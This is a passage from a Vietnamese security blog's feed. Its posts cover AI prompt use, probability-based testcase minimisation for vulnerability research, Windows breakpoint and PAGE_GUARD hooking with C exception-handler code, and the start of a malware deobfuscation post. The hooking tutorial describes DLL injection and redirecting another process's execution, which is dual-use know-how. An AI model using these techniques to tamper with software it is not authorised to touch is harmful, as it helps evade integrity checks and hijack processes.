            <span class="n">completion_cost</span> <span class="o">=</span> <span class="p">(</span><span class="n">usage</span><span class="p">.</span><span class="n">completion_tokens</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">)</span> <span class="o">*</span> <span class="n">output_token_price</span>
            <span class="n">total_cost</span> <span class="o">=</span> <span class="n">prompt_cost</span> <span class="o">+</span> <span class="n">completion_cost</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="n">now</span><span class="p">().</span><span class="n">strftime</span><span class="p">(</span><span class="s">'%y-%m-%d %a %H</span><span class="si">:</span><span class="o">%</span><span class="n">M</span><span class="si">:</span><span class="o">%</span><span class="n">S</span><span class="s">')</span><span class="si">}</span><span class="s"> File: </span><span class="si">{</span><span class="n">input_file</span><span class="si">}</span><span class="s">, Tokens: </span><span class="si">{</span><span class="n">usage</span><span class="p">.</span><span class="n">total_tokens</span><span class="si">}</span><span class="s">, Cost: $</span><span class="si">{</span><span class="n">total_cost</span><span class="si">:</span><span class="p">.</span><span class="mi">6</span><span class="n">f</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="thực-hành-với-một-video-bất-kỳ">Thực hành với một video bất kỳ</h2>

<p>Tôi chọn ngẫu nhiên một video nào đó: <a href="https://www.youtube.com/watch?v=qFxBneMlYZQ">Impostor Syndrome - Hacking Apple MDMs Using Rogue Device Enrolments</a>. Đây là bài trình bày của 
kỹ sư bảo mật <a href="https://www.linkedin.com/in/marcell-molnar/">Marcell Molnár</a>.</p>

<p>Sau khi tải transcript về (rất tuyệt là youtube có luôn tính năng này), tôi thử tóm tắt toàn bộ video, bằng Claude sonnet 4.5, và kết quả khá mĩ mãn.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>Context Length	30.2k / 1.0m
Tokens	↑ 66.4k  ↓ 6.8k
Cache	36.8k
API Cost	$0.22
Size	61.7 kB
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="đây-là-kết-quả">Đây là kết quả</h2>

<p><a href="/assets/2025/macOS_MDM.md">Bảo mật macOS MDM: Lỗ hổng enrollment dựa trên serial number</a></p>

<h2 id="kết-luận">Kết luận</h2>

<p>Qua bài viết vừa rồi, tôi hy vọng rằng các bạn có thể có cái nhìn sâu sắc hơn với cách viết prompt cho AI. AI rất thông minh, nhưng nếu dùng đúng prompt thì AI vừa thông minh vừa được việc. Chúc các bạn thành công./.</p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="Level_1" /><category term="AI" /><category term="prompt" /><summary type="html"><![CDATA[Tôi muốn bắt đầu viết lại blog này bằng một chủ đề rất "hot" hiện nay, đó là sử dụng AI (Artificial Intelligence). Thay vì sử dụng AI theo cách đơn sơ, chỉ bằng cách viết prompt có cấu trúc, chúng ta có thể mở khoá một số tính năng cực kỳ tuyệt vời của AI. Đó gọi là Prompt Engineering.]]></summary></entry><entry><title type="html">Học Toán để làm gì?</title><link href="https://develbranch.com/tutorials/math_is_fun.html" rel="alternate" type="text/html" title="Học Toán để làm gì?" /><published>2020-03-02T17:00:00+00:00</published><updated>2020-03-02T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/math_is_fun</id><content type="html" xml:base="https://develbranch.com/tutorials/math_is_fun.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Tôi đã từng có một thời gian dài làm việc trong lĩnh vực tìm và phát hiện lỗ hổng phần mềm, cái nghề được gọi với cái tên khá lạ tai: vulnerability researcher. Công việc này đòi hỏi khá nhiều kỹ năng máy tính chuyên sâu. Trong bài viết này, tôi sẽ mô tả cách tôi sử dụng toán để tối ưu các testcase khi nghiên cứu các lỗ hổng. Tôi đã ứng dụng thuật toán này trong khá nhiều case khác nhau, đặc biệt là khi tôi phát hiện lỗ hổng <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1208">CVE-2019-1208 | VBScript Remote Code Execution Vulnerability</a>.</p>

<p>Cần lưu ý rằng:</p>
<ul>
  <li>Tôi có một hệ thống sinh testcase tự động với thuật toán khá đặc biệt của tôi. Tôi sẽ không trình bày nó ở đây.</li>
  <li>Khái niệm đoạn mã có thể bao gồm 1 dòng cho tới k dòng.</li>
  <li>Thuật toán này sinh ra các đoạn mã có xác suất gây lỗi cho chương trình.</li>
  <li>Các đoạn mã sinh ra không phụ thuộc vào nhau. Xác suất một dòng code gây lỗi (crash) độc lập với các dòng khác. <strong>Đây là điều kiện quan trọng.</strong></li>
</ul>

<h2 id="vấn-đề-gặp-phải">Vấn đề gặp phải</h2>

<p>Trong quá trình tìm và phân tích mã, tôi gặp các vấn đề như sau:</p>
<ul>
  <li>Số lượng testcase: Con số này không phải là 1 hoặc 2 để tôi có thể làm bằng tay.</li>
  <li>Thời gian thực thi 1 testcase lâu.</li>
  <li>Thời gian phân tích 1 testcase rất lâu khi phân tích bằng tay.
    <ul>
      <li>Kích thước một testcase lớn (≈ hàng nghìn đoạn mã)</li>
    </ul>
  </li>
</ul>

<p>Tôi <strong>biết chắc chắn</strong> đã tìm ra lỗ hổng nhưng</p>
<ul>
  <li>Cụ thể là đoạn mã nào gây lỗi thì tôi không thể biết.</li>
  <li>Tôi hạn chế về mặt thời gian do tôi phải thực hiện dự án khác của công ty, không thể để 100% thời gian cho lỗ hổng này.</li>
  <li>Tôi phải chạy đua với các researcher khác.</li>
</ul>

<p>Tôi mong muốn có 1 hệ thống:</p>
<ul>
  <li>Tự động sinh testcase và tìm lỗi (Đã có)</li>
  <li>Tự động tối ưu testcase và phân tích lỗi (Cần xây dựng)</li>
  <li>Tự động phân tích lỗi, điền form cần thiết, đánh giá các khả năng khai thác và độ nguy hiểm.</li>
</ul>

<p>Dựa vào tất cả các mong muốn trên, tôi nghĩ đến một phương pháp để tối ưu testcase tự động, tốc độ cao và chính xác. Tôi nhớ đến các bài toán về xác suất đã được dạy khi đi học.</p>

<p>Một số điểm cần lưu ý:</p>
<ul>
  <li>Xác định 2 testcase trùng nhau</li>
  <li>Xác định số tối ưu khi thực hiện.</li>
</ul>

<p>Các testcase được tính là trùng nhau khi:</p>
<ul>
  <li>Trạng thái crash tại cùng địa chỉ EIP/RIP</li>
  <li>Trạng thái Stack của chương trình khi crash trùng nhau</li>
  <li>Một số giá trị của thanh ghi trùng nhau</li>
</ul>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_same.png" alt="Các vị trí cần kiểm tra" /></p>

<p>Giả sử: <strong>Các đoạn code không có sự liên hệ với nhau trong quá trình thực thi</strong></p>

<p>Nên: <strong>Xác suất một đoạn code gây crash độc lập với các đoạn khác.</strong></p>

<p>Đây là giả thiết của tôi. Giả thiết này của tôi luôn đúng do tôi tự sinh các testcase và kiểm soát được đầu ra của chúng.</p>

<p>Ta có phương pháp tối ưu testcase đơn giản, thông qua 3 bước sau:</p>
<ul>
  <li>Xóa bỏ lần lượt các đoạn trong testcase ban đầu nhằm sinh testcase mới</li>
  <li>Test thử với chương trình</li>
  <li>Chỉ giữ lại các testcase có kích thước nhỏ, trùng với testcase ban đầu</li>
</ul>

<h2 id="cần-phải-xóa-bao-nhiêu-đoạn-trong-testcase">Cần phải xóa bao nhiêu đoạn trong testcase?</h2>
<ul>
  <li>Số đoạn xóa đi phải đủ nhỏ để xác suất có testcase trùng là cao nhất. Hiển nhiên rằng nếu các bạn xóa càng ít đoạn, thì xác suất xóa phải đoạn không liên quan càng cao, testcase càng có xác suất lớn để trùng.</li>
  <li>Số đoạn xóa đi phải đủ lớn để giảm thời gian tối ưu. Hiển nhiên rằng nếu càng xóa nhiều đoạn, testcase càng nhỏ.</li>
</ul>

<p><strong>Con số bao nhiêu là hợp lý????</strong></p>

<p>Giả sử cắt bỏ x đoạn mã trong testcase ban đầu (có N đoạn mã):</p>

<p>Xác suất để cắt bỏ 1 đoạn mã nhưng vẫn được testcase trùng ≈ 100%</p>

<p>Xác suất cắt bỏ đoạn mã thứ 2 nhưng vẫn được testcase trùng (1 – 1/N)</p>

<p>Xác suất cắt bỏ đoạn mã thứ 3 nhưng vẫn được testcase trùng (1 – 2/N)</p>

<p>…</p>

<p>Xác suất cắt bỏ đoạn mã thứ x nhưng vẫn được testcase trùng (1 – (x-1)/N)</p>

<p><em>Xác suất để cắt bỏ x đoạn mã nhưng vẫn được testcase trùng</em></p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_equation.png" alt="equation" /></p>

<p>Rõ ràng, đây là một phương trình khá khó giải và tôi cũng không phải người giỏi toán để đưa ra đáp án chính xác. Chúng ta lại dùng các công thức ước lượng được mô tả trong sách giáo khoa: <strong>Công thức xấp xỉ Taylor</strong></p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_taylor.png" alt="Taylor" /></p>

<p>Tiếp tục:</p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_xap_xi.png" alt="Taylor" /></p>

<p>Nói cách khác, với N là số đoạn code, p là xác suất được lựa chọn, thì chúng ta có x là số đoạn code cần chọn ngẫu nhiên để testcase mới trùng với testcase cũ.</p>

<p>Nếu chúng ta giả định p = 0.5 = 50%, thay thế vào công thức tính xác suất ban đầu, ta có được công thức cuối cùng:</p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_xap_xi2.png" alt="Taylor" /></p>

<p>hay nói cách khác, x xấp xỉ bằng <strong>1.17741*sqrt(N)</strong>, có thể coi là <strong>sqrt(N)</strong>.</p>

<p>Như vậy, nếu chúng ta cắt đi <code class="language-plaintext highlighter-rouge">sqrt(N)</code> đoạn mã trong N đoạn mã, thì xác suất xảy ra testcase trùng sẽ lớn hơn 50%. Độ phức tạp thuật toán là O(n). Do số lượng đoạn được cắt đi lớn khi N lớn, tốc độ hội tụ của thuật toán này được cải thiện đáng kể so với việc tối ưu tuần tự. Một kết luận rất ngắn và đơn giản phải không?</p>

<p>Nếu chúng ta chọn N là 3000 đoạn mã.</p>

<p>Trục Y là số đoạn mã được loại bỏ.</p>

<p>Trục X là xác suất xảy ra trùng nhau</p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_3000.png" alt="3000" /></p>

<h2 id="kết-luận">Kết luận</h2>

<p>Qua bài viết vừa rồi, tôi hy vọng rằng các bạn có thể có cái nhìn sâu sắc hơn với môn toán cũng như phương pháp ứng dụng các bài toán “ngày xửa ngày xưa” vào các vấn đề trong công việc hiện tại. Nét đẹp của toán học sẽ chỉ phát huy khi chúng được đặt vào đúng tình huống cụ thể. Đừng để các bài toán của các bạn chỉ nằm trên giấy./.</p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="Level_1" /><summary type="html"><![CDATA["Học Toán để làm gì?". Tôi muốn bắt đầu bài viết này bằng một câu hỏi mà rất nhiều lập trình viên trẻ tuổi, những người đang đi học hoặc đã đi làm luôn thắc mắc. Vấn đề này anh Dương Ngọc Thái, một trong những hacker giỏi nhất Việt Nam, hiện đang làm việc cho Google tại Mỹ đã trao đổi khá nhiều lần. Tôi cũng có vài lần trao đổi với anh và rút ra rằng: Những điều tưởng chừng như rất phức tạp có thể giải được bằng các bài toán mà chúng ta đã học - từ những thầy giáo của chúng ta, thậm chí là những bài trong sách giáo khoa - nhưng chưa thật sự vận dụng chúng.]]></summary></entry><entry><title type="html">An In-depth Look: Windows Memory Hooking</title><link href="https://develbranch.com/tutorials/windows-memory-hooking.html" rel="alternate" type="text/html" title="An In-depth Look: Windows Memory Hooking" /><published>2019-06-06T17:00:00+00:00</published><updated>2019-06-06T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/windows-memory-hooking</id><content type="html" xml:base="https://develbranch.com/tutorials/windows-memory-hooking.html"><![CDATA[<h2 id="kêu-gọi-tài-trợ">Kêu gọi tài trợ</h2>
<p>Xin chào tất cả các bạn độc giả thân mến!</p>

<p>Tôi viết bài viết này với mong muốn có thể đóng góp một chút công sức của mình cho cộng đồng an toàn thông tin Việt Nam. Tôi cũng mong muốn các bạn có thể đóng góp cho cộng đồng giống như tôi, nhưng bằng vật chất: Quỹ <a href="https://www.facebook.com/comcothit/">Cơm có thịt</a> <a href="http://tnvc.vn/">http://tnvc.vn/</a> đang cần sự giúp đỡ của cộng đồng hơn ai hết. Số tiền ủng hộ từ bài viết trước đã đủ cho develbranch.com duy trì mọi thứ trong năm. Quỹ cơm có thịt cần nhiều hơn develbranch. Đúng như tên gọi của nó, <em>Cơm có thịt</em> đem đến niềm vui, hạnh phúc với các em nhỏ vùng cao ngoan hiền, đang sống ở những nơi nghèo khó, bằng những đóng góp nho nhỏ - ít thôi nhưng đều đặn. Tôi rất thích câu nói này của ông Trần Đăng Tuấn: “Nếu bạn đồng hành cùng Cơm Có Thịt, thì đó chỉ là do mệnh lệnh từ trái tim của bạn”. Nếu có thể được, tôi mong các bạn hãy ủng hộ trực tiếp cho Quỹ (đừng trung gian qua tôi).</p>

<p><img src="/assets/2019/06/com_co_thit.jpg" alt="Cơm có thịt" /></p>

<h2 id="giới-thiệu">Giới thiệu</h2>
<p><strong>Hooking</strong> có lẽ không còn xa lạ với nhiều người làm trong lĩnh vực phần mềm nói chung và an toàn thông tin nói riêng. Hiểu theo cách đơn giản: Hooking là một phương pháp, hoặc 1 cách làm thay đổi luồng hoạt động của chương trình. Mục đích của việc thay đổi này có thể để ghi log, đánh dấu luồng hoạt động hoặc kiểm soát input cũng như output của một hàm, một đoạn mã hoặc một lệnh bất kì trong chương trình.</p>

<p>Trong bài viết này, tôi sẽ viết về kĩ thuật hooking trên nền tảng Microsoft Windows.</p>

<p><strong><em>Ví dụ</em></strong>: Chúng ta có một hàm đơn giản sau: Hàm này làm nhiệm vụ cộng 2 số.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>int add(int a, int b) {
	return a + b;
}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Khi biên dịch ra mã máy, mã chương trình có thể giống như sau (các mã khác nhau phụ thuộc nhiều vào trình biên dịch). Trong ví dụ này, tôi giả định tôi biên dịch chương trình bằng trình biên dịch 32bit:</p>

<p>Nếu biên dịch tối ưu, có thể viết như sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>mov  eax, dword ptr [esp + 4] ;  first parameter
add  eax, dword ptr [esp + 8] ;  second parameter
ret
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Hoặc tường minh hơn, chúng ta viết:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>0| mov  edi, edi
1| push ebp 
2| mov  ebp, esp
3| mov  eax, dword ptr [ebp +  8] ;  first parameter
4| add  eax, dword ptr [ebp + 12] ;  second parameter
5| pop  ebp
6| ret
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong><em>Tình huống 1</em></strong>: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu input, chúng ta cần đặt 1 lệnh kiểm tra ở dòng 2.</p>

<p><strong><em>Tình huống 2</em></strong>: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu output, chúng ta cần đặt 1 lệnh kiểm tra ở dòng 5</p>

<p>Phương pháp hook thường thấy nhất là chúng ta sẽ thiết lập 1 lệnh nhảy không điều kiện (JMP) tới đoạn code chứa các lệnh kiểm tra. Sau khi thực hiện xong đoạn code mới này, chúng ta sẽ thực hiện nhảy không điều kiện 1 lần nữa về đoạn code ban đầu.</p>

<p><strong><em>Tình huống 1</em></strong>: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu input:
Đoạn code trên cần bị thay đổi thành đoạn code dưới đây</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>0| jmp  CHECKING_PARAMETER
3| ADD_NUMBERS:
3| mov  eax, dword ptr [ebp +  8] ;  first parameter
4| add  eax, dword ptr [ebp + 12] ;  second parameter
5| pop  ebp
6| ret
7|
8| CHECKING_PARAMETER:
   ;; kiểm tra nội dung 2 tham số ở đây
   ;  Thực thi các lệnh ban đầu, giống như chưa bị Hook
   mov  edi, edi
   push ebp 
   mov  ebp, esp
9| jmp ADD_NUMBERS

</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong><em>Tình huống 2</em></strong>: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre> 0| mov  edi, edi
 1| push ebp 
 2| mov  ebp, esp
 3| mov  eax, dword ptr [ebp +  8] ;  first parameter
 4| add  eax, dword ptr [ebp + 12] ;  second parameter
 5| pop  ebp
 6| JMP  CHECK_RESULT 
 7|
 8|
 9| CHECK_RESULT:
10| ;; Kiểm tra dữ kiệu trả về ( Nội dung thanh ghi eax )
    ;; Thực thi các lệnh ban đầu, giống như chưa bị Hook
11|	ret
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Rõ ràng, trong cả hai tình huống trên, chúng ta cần thay đổi đáng kể đoạn code ban đầu, để có thể thêm các lệnh nhảy không điều kiện nhằm chuyển hướng thực thi và làm nhiệm vụ mà chúng ta cần. Câu hỏi đặt ra:</p>
<ul>
  <li>Nếu đoạn code quá nhỏ, không đủ cho một lệnh JMP thì sao?</li>
  <li>Trong trường hợp đoạn code bị kiểm tra để phát hiện sự thay đổi thì sao? Ví dụ đoạn code bị check CRC liên tục?</li>
</ul>

<p>Để giải quyết hai vấn đề này, tôi sẽ trình bày hai phương pháp dưới đây.</p>

<h2 id="breakpoint-hooking">Breakpoint hooking</h2>

<p>Đối với các đoạn code nhỏ, ví dụ các block code chỉ có 1 tới 4 bytes, chúng ta không có đủ chỗ cho một lệnh nhảy. Một lệnh JMP không điều kiện cần 5 bytes. Chúng ta có thể nghĩ tới phương pháp Breakpoint hooking. Cách thức thực hiện như sau:</p>
<ul>
  <li>Inject một DLL vào không gian bộ nhớ của tiến trình.</li>
  <li>Cài đặt một Vector xử lý Exception (Exception handler)</li>
  <li>Chuyển hướng thực thi bên trong Exception handler</li>
  <li>Inject ngắt <code class="language-plaintext highlighter-rouge">int3</code> (opcode là 0xCC, độ dài chỉ 1 byte) vào vị trí cần hook. Hoặc dùng các hàm sau để inject code: <code class="language-plaintext highlighter-rouge">OpenProcess</code>, <code class="language-plaintext highlighter-rouge">VirtualProtectEx</code>, <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>. Đây là các thao tác đơn giản, tôi xin dành cho bạn đọc.</li>
</ul>

<p>Trong quá trình thực thi, khi thực thi đến lệnh <code class="language-plaintext highlighter-rouge">int 3</code>, hệ thống sẽ phát sinh ra exception. Mã của exception này là <code class="language-plaintext highlighter-rouge">STATUS_BREAKPOINT</code>. Bên trong hàm handler, chúng ta cần kiểm tra giá trị của thanh ghi EIP/RIP. Nếu giá trị này là hàm đang cần hook, chúng ta gán lại giá trị mới cho thanh ghi EIP/RIP. Sau khi thực thi xong, chúng ta cần khôi phục lại ngữ cảnh cũ: Nội dung các thanh ghi và thực thi lệnh cũ. Nên nhớ rằng trước khi patch int3, chúng ta phải lưu lại toàn bộ instruction cũ, để sau này còn dùng lại khi thực thi chương trình.</p>

<p>Hàm xử lý:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>LONG CALLBACK HookExceptionFilter(__in PEXCEPTION_POINTERS pExceptionInfo)
	{
		if (pExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == STATUS_BREAKPOINT) // This is going to return true whenever any of our int3 is executed.
		{
			DWORD dwNewLocation = GetNewLocation(pExceptionInfo-&gt;ContextRecord-&gt;Eip); // EIP contains the current location
			if (dwNewLocation != (DWORD_PTR)-1) // Here we check to see if the instruction pointer is at the place where we want to hook.
			{
				pExceptionInfo-&gt;ContextRecord-&gt;Eip = dwNewLocation;
				return EXCEPTION_CONTINUE_EXECUTION;
			}
		}
		return EXCEPTION_CONTINUE_SEARCH;
	}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Cài đặt handler:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>PVOID g_ExceptionHandle = NULL;
g_ExceptionHandle = AddVectoredExceptionHandler(1, HookExceptionFilter);
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Remove Handler:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>RemoveVectoredExceptionHandler(g_ExceptionHandle);
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="pageguard-hooking">PageGuard Hooking</h2>

<p>Đối với các đoạn code bị check CRC liên tục, chúng ta sẽ không được phép thay đổi một byte nào trong đoạn code gốc. Phương pháp này thực hiện như sau:</p>
<ul>
  <li>Inject một DLL vào không gian bộ nhớ của tiến trình.</li>
  <li>Cài đặt một Vector xử lý Exception (Exception handler).</li>
  <li>Đổi thuộc tính của page chứa vùng code cần hook thành <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code> hoặc <code class="language-plaintext highlighter-rouge">PAGE_NOACCESS</code>. Dùng VirtualProtect</li>
  <li>Chuyển hướng thực thi bên trong Exception handler</li>
</ul>

<p>Bất khi nào code được thực thi trong vùng nhớ bị đánh dấu là <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code>, hệ thống sẽ sinh ra một exception. Bên trong hàm kiểm tra Exception handler, chúng ta cần kiểm tra địa chỉ đang thực thi. Nếu địa chỉ đó là địa chỉ hàm cần hook, chúng ta chuyển hướng nó tới hàm đích.</p>

<p>Cần lưu ý:</p>

<ol>
  <li>Thuộc tính <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code> sẽ tự động bị xóa khi phát sinh exception. Do đó để tiếp tục hook, chúng ta cần thiết lập lại thuộc tính này cho vùng nhớ đó.</li>
  <li>Có thể dùng thuộc tính <code class="language-plaintext highlighter-rouge">PAGE_NOACCESS</code>. Hệ thống sẽ sinh <code class="language-plaintext highlighter-rouge">STATUS_ACCESS_VIOLATION</code> khi chúng ta thực thi đoạn code.</li>
  <li><code class="language-plaintext highlighter-rouge">STATUS_SINGLE_STEP</code> Đây không hẳn là một lỗi, để có thể coi là một exception. <code class="language-plaintext highlighter-rouge">STATUS_SINGLE_STEP</code> được sinh ra khi một lệnh được thực thi (giống như đang bị debug).</li>
</ol>

<p><strong><em>Tại sao chúng ta cần STATUS_SINGLE_STEP?</em></strong></p>

<p>Một hàm sẽ nằm trong 1 page, nhưng điểm bắt đầu của hàm thì chưa hẳn là nằm ở đầu page. Trong trường hợp một đoạn code - không phải đoạn code cần hook - nhưng nằm cùng page với đoạn code cần hook thực thi, nó cũng sinh ra exception. Rõ ràng đây không phải là điều chúng ta mong muốn. Chúng ta cần là thiết lập lại thuộc tính <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code> hoặc <code class="language-plaintext highlighter-rouge">PAGE_NOACCESS</code> như trước. Vấn đề lại tiếp tục xảy ra, đoạn code sinh exception liên tục nhưng không thực thi. Để giải quyết, chúng ta cần bật cờ <code class="language-plaintext highlighter-rouge">STATUS_SINGLE_STEP</code>. Lúc này, chương trình sẽ tiếp tục thực thi nhưng sẽ liên tục gọi vào hàm handler của chúng ta với mã của exception là <code class="language-plaintext highlighter-rouge">STATUS_SINGLE_STEP</code>. Chúng ta sẽ kiểm tra giá trị của thanh ghi <code class="language-plaintext highlighter-rouge">EIP</code>, nếu đúng hàm cần hook thì sẽ thiết lập thuộc tính <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code> hoặc <code class="language-plaintext highlighter-rouge">PAGE_NOACCESS</code> như trước.</p>

<p>Code và hình vẽ tôi tham khảo ở <a href="https://guidedhacking.com/threads/veh-hooking-aka-pageguard-hooking-an-in-depth-look.7164/">https://guidedhacking.com/threads/veh-hooking-aka-pageguard-hooking-an-in-depth-look.7164/</a></p>

<p><img src="/assets/2019/06/veh_hooking_page.png" alt="Memory page" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="rouge-code"><pre>DWORD dwOld;
VirtualProtect((void*)0x08048fb7, 1, PAGE_EXECUTE | PAGE_GUARD, &amp;dwOld); // This sets the protection for whatever memory page that 0x08048fb7 is located in to PAGE_EXECUTE &amp; PAGE_GUARD.
                                                                          // Which is going to cause an exception for any address accessed in that memory page, including the one we're after.

AddVectoredExceptionHandler(1, HookExceptionFilter); // Registers our vectored exception handler which is going to catch the exceptions thrown.
 
LONG CALLBACK HookExceptionFilter(__in PEXCEPTION_POINTERS pExceptionInfo)
{
    if (pExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) // This is going to return true whenever any of our PAGE_GUARD'ed memory page is accessed.
    {
        if (pExceptionInfo-&gt;ContextRecord-&gt;Eip == 0x08048fb7) // Here we check to see if the instruction pointer is at the place where we want to hook.
        {
            dwJmpBack = (DWORD*)(pExceptionInfo-&gt;ContextRecord-&gt;Esp + 0); // Find the return address for the JMP/EIP back into the target program's code.
            dwJmpBack = (DWORD)pExceptionInfo-&gt;ContextRecord-&gt;Eip + 5; // or just skip X number of bytes.
            pExceptionInfo-&gt;ContextRecord-&gt;Eip = (DWORD)hkFunction; // Point EIP to hook handle.
        }
     
        pExceptionInfo-&gt;ContextRecord-&gt;EFlags |= 0x100; //Set single step flag, causing only one line of code to be executed and then throwing the STATUS_SINGLE_STEP exception.
     
        return EXCEPTION_CONTINUE_EXECUTION; // When we return to the page, it will no longer be PAGE_GUARD'ed, so we rely on single stepping to re-apply it. (If we re-applied it here, we'd never move forward.)
    }
     
    if (pExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == STATUS_SINGLE_STEP) // This is now going to return true on the next line of execution within our page, where we re-apply PAGE_GUARD and repeat.
    {
        DWORD dwOld;
        VirtualProtect((void*)0x08048fb7, 1, PAGE_EXECUTE | PAGE_GUARD, &amp;dwOld);
     
        return EXCEPTION_CONTINUE_EXECUTION;
    }
     
    return EXCEPTION_CONTINUE_SEARCH;
}
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="kết-luận">Kết luận</h2>
<p>Qua bài viết vừa rồi, tôi hi vọng rằng các bạn có thể thực hiện hook một số hàm đặc biệt các hàm có kích thước nhỏ, hoặc không thể hook tường minh:</p>

<ul>
  <li>Xác định vị trí cần hook</li>
  <li>Cài đặt exception handle và đổi thanh ghi EIP/RIP thành địa chỉ mới.</li>
  <li>Inject ngắt 3 hoặc thay đổi thuộc tính của page thành <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code></li>
  <li>Xử lý chuyển hướng bên trong hàm handler</li>
</ul>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="Hooking" /><summary type="html"><![CDATA[Hooking không phải là một khái niệm mới khi giải quyết các vấn đề trong lập trình. Tuy nhiên, nếu nhìn nó theo cách nghiêm túc hơn, hẳn rằng bạn cũng sẽ có những trải nghiệm thú vị giống như tôi. Nếu bạn thích bài viết này, hãy tài trợ.]]></summary></entry><entry><title type="html">Deobfuscate malware - English version</title><link href="https://develbranch.com/tutorials/deobfuscate-apt-malware-eng.html" rel="alternate" type="text/html" title="Deobfuscate malware - English version" /><published>2019-04-14T17:00:00+00:00</published><updated>2019-04-14T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/deobfuscate-apt-malware-eng</id><content type="html" xml:base="https://develbranch.com/tutorials/deobfuscate-apt-malware-eng.html"><![CDATA[<p>Original post: <a href="https://develbranch.com/tutorials/deobfuscate-apt-malware.html">https://develbranch.com/tutorials/deobfuscate-apt-malware.html</a></p>

<h2 id="introduction">Introduction</h2>
<p><img src="/assets/2019/03/files.PNG" alt="Malicious files" /></p>

<p>I get this malware sample from my friend. I will show my experience with packers and manual unpacking. All about behaviors of malware, I will present in a new article.</p>

<p><em><strong>1 minute for advertisement</strong>: If you have a similar sample, you may contact me by sending an email to <code class="language-plaintext highlighter-rouge">contact[at]develbranch.com</code> or my fanpage <a href="https://fb.com/develbranch">fb.com/develbranch</a>. I will help you and charge in case of necessity. If you think my article is valuable, you may donate to me so that I have the motivation to write the next article. I accept Paypal</em></p>

